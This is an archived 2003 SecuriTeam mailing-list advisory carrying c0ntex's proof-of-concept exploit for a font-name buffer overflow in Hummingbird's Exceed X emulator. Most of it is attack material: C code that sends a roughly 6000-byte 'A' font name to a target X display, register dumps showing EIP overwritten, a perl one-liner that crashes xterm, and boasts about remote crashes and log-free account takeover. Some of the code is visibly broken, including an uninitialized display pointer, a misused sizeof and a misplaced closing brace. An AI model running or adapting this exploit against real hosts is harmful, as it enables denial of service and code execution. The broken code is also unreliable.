

# [EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0066.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 07/17/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 17 Jul 2003 13:50:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at [canadasales@beyondsecurity.com](mailto:canadasales@beyondsecurity.com)

-----  
Hummingbird's Exceed X Emulator Fonts Directive Mishandling  
-----

## SUMMARY

Hummingbird's Exceed X emulator has been found to mishandle the font directives (environment variable, or remote directive). By setting a long enough font name, a local user, and remote attacker can either cause a denial of service attack against the product, or cause it to execute arbitrary code.

## DETAILS

Exploit:

/\*

\* Crushing birds for fun and knowledge

\* -----

\*

\* HQOTD: "How secure do you want it"

\*

[http://mimage.hummingbird.com/alt\\_content/binary/pdf/collateral/ds/exceed\\_ds\\_en.pdf](http://mimage.hummingbird.com/alt_content/binary/pdf/collateral/ds/exceed_ds_en.pdf)

## Securiteam: [EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

```
*
* I'll tell you: Much more please sirs.
*
* *****
*
* Exceed has some bugs caused by the way it handles fonts, in a local and
remote
* context.
*
* Debug output created by master techniques:
* EAX = C0000000
* EBX = 00000000
* ECX = 40000000
* EDX = 00000501
* ESI = 41414141 <----- // Here
* EDI = 0012E138
* EIP = 41414141 <----- // Here
* ESP = 0012E0C8
* EBP = 0012E0F0
*
* A way to check that a server is not trying to exploit your PC could be:
* $ xlsfonts -display exceed_server:0.0
* ...
* -----0-----
* --arial-bold-r---0-0-120-120-p-0-iso8859-1
* --arial-medium-r---0-0-120-120-p-0-iso8859-1
*
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<-- Here
* ...
*
* A way to hide evil font would be through the use of font aliasing.
* -the first ever font spoofing technique, lol.
*
* [-] We can crash a local Exceed server * 2
* [-] We can crash a remote Exceed server * many lol
* [-] We can crash Exceed client that uses evil X Font Server * 1
* [-] We can write over EIP address * many lol
*
* Hummingbird informed 3 weeks ago, still no reply.
*
* *****
* rwxr-xr-x xterm exploit!
*
* $ export DISPLAY=192.168.1.31:0.0 //Valid host
* $ xterm -font `perl -e 'print "69r"x10101`
* Segmentation fault (core dumped) //lol
* $ md5sum `which xterm`
* 09ebe34028b779eb73d4a31e987ee9ed /usr/X11R6/bin/xterm
*
* Root user can now have super 0day xterm sploit that s/he can use to own
```

## Securiteam: [EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

```
local user
* accounts!
*
* ** This would give root the ability to become any user on the system **
*
* More serious than su, it does not leave a log entry behind, real anon
hacker style.
*
* *****
*
* This is just a little hobby that saves me going to clubs at the
weekend, drinking
* beer and mumbling to some strange lethargic woman with alcohol driven
motives.
*
* Computer security is #1 contraceptive, coming soon to an NHS near you.
*
* *****
*
* DNSCon is coming up – www.dnscon.org
*
* *****
*
* [c0ntex@darkside exceed]$ gcc -o exceed exceed.c -lX11 -L
/usr/X11R6/lib
* [c0ntex@darkside exceed]$ ./exceed exploited:0.0
*
* [-] Exceed [ALL] EIP Attack – c0ntex@hushmail.com
* [-] We are using DISPLAY variable: exploited:0.0
* [-] Hang on to your feathers, sending some buffer
*
* ..
* XIO: fatal IO error 104 (Connection reset by peer) on X server
"exploited:0.0"
* after 11 requests (9 known processed) with 0 events remaining.
*
* *****
*
* Rants:
* Knowledge is freely given and should be freely shared, however making
money from
* other peoples research in any way is simply unethical. =|
*
* SF: Clever move making your vulnerability archive public `again`, this
will draw
* back many versed in dot slash t3qN33kZ to infect themselves with trojan
opcodes.
* *LOL*
*
* Regards to all, keep it real.
*
```

## Securiteam: [EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

```
* ****
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <X11/Xlib.h>

#define BIGBIRD 6001
#define DIRTY_VAL 69
#define MAX_BORDER_LEN 3
#define WIN_TIMER 5
#define WIN_TITLE "simple PoC window – lets shoot birds"

typedef char Birds;

int main(int argc, char *argv[])
{
    Birds nests[BIGBIRD];
    Birds egg[2] = { 'A', '\0' };
    Birds *feathersN;
    Birds *HABITAT = "DISPLAY";

    unsigned short eggs, chicks;
    unsigned short winW, winH, feathersW, feathersH;
    unsigned long locX, locY;
    unsigned long winBDR;

    Display* feathers;
    Window wingspan;
    XFontStruct* birdcull;

    fprintf(stderr, "\n\n[-] Exceed [ALL] EIP Attack –
c0ntex@hushmail.com\n");

    if(argc < 2) {
        fprintf(stderr, "[-] Please set IP/Hostname for DISPLAY
pointer!\n");
        fprintf(stderr, "[-] Usage: %s
<hostname/IP:feathers>\n\n", argv[0]);
        return EXIT_FAILURE;
    }

    if(setenv(HABITAT, argv[1], 1) < 0) {
        perror("setenv"); return EXIT_FAILURE;
    }

    fprintf(stderr, "[-] Ok, using DISPLAY variable: %s\n", argv[1]);
}
```

## Securiteam: [EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

```
for(eggs = 0; eggs < BIGBIRD -1; eggs++)
    if(strncat(nests, egg, sizeof(BIGBIRD)-1) == NULL) {
        perror("strncat"); return EXIT_FAILURE;
    }

    if((feathers = XOpenDisplay(feathersN)) == NULL) {
        perror("XOpenDisplay"); return EXIT_FAILURE;
    }

chicks = DefaultScreen(feathers);

    winW = ((feathersW = DisplayWidth(feathers, chicks)) /3);
    winH = ((feathersH = DisplayHeight(feathers, chicks)) /3);
locX = DIRTY_VAL; locY = DIRTY_VAL; winBDR = MAX_BORDER_LEN;

wingspan = XCreateSimpleWindow(feathers, RootWindow(feathers, chicks),
    locX, locY, winW, winH, winBDR,
    BlackPixel(feathers, chicks),
    WhitePixel(feathers, chicks));
if(XCreateSimpleWindow == NULL) {
    perror("XCreateSimpleWindow"); return EXIT_FAILURE;
}

    XStoreName(feathers, wingspan, WIN_TITLE);
if(XStoreName == NULL) {
    perror("XOpenDisplay"); return EXIT_FAILURE;
}

    XMapWindow(feathers, wingspan);
if(XMapWindow == NULL) {
    perror("XOpenDisplay"); return EXIT_FAILURE;
}

fprintf(stderr, "[–] Hang on to your feathers, sending some buffer
\n\n");

if((birdcull = XLoadQueryFont(feathers, nests)) == NULL) {
    perror("XLoadQueryFont"); return EXIT_FAILURE;
}

    XCloseDisplay(feathers);

    return EXIT_SUCCESS;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:c0ntex@hushmail.com>> c0ntex.

=====

Securiteam: [EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.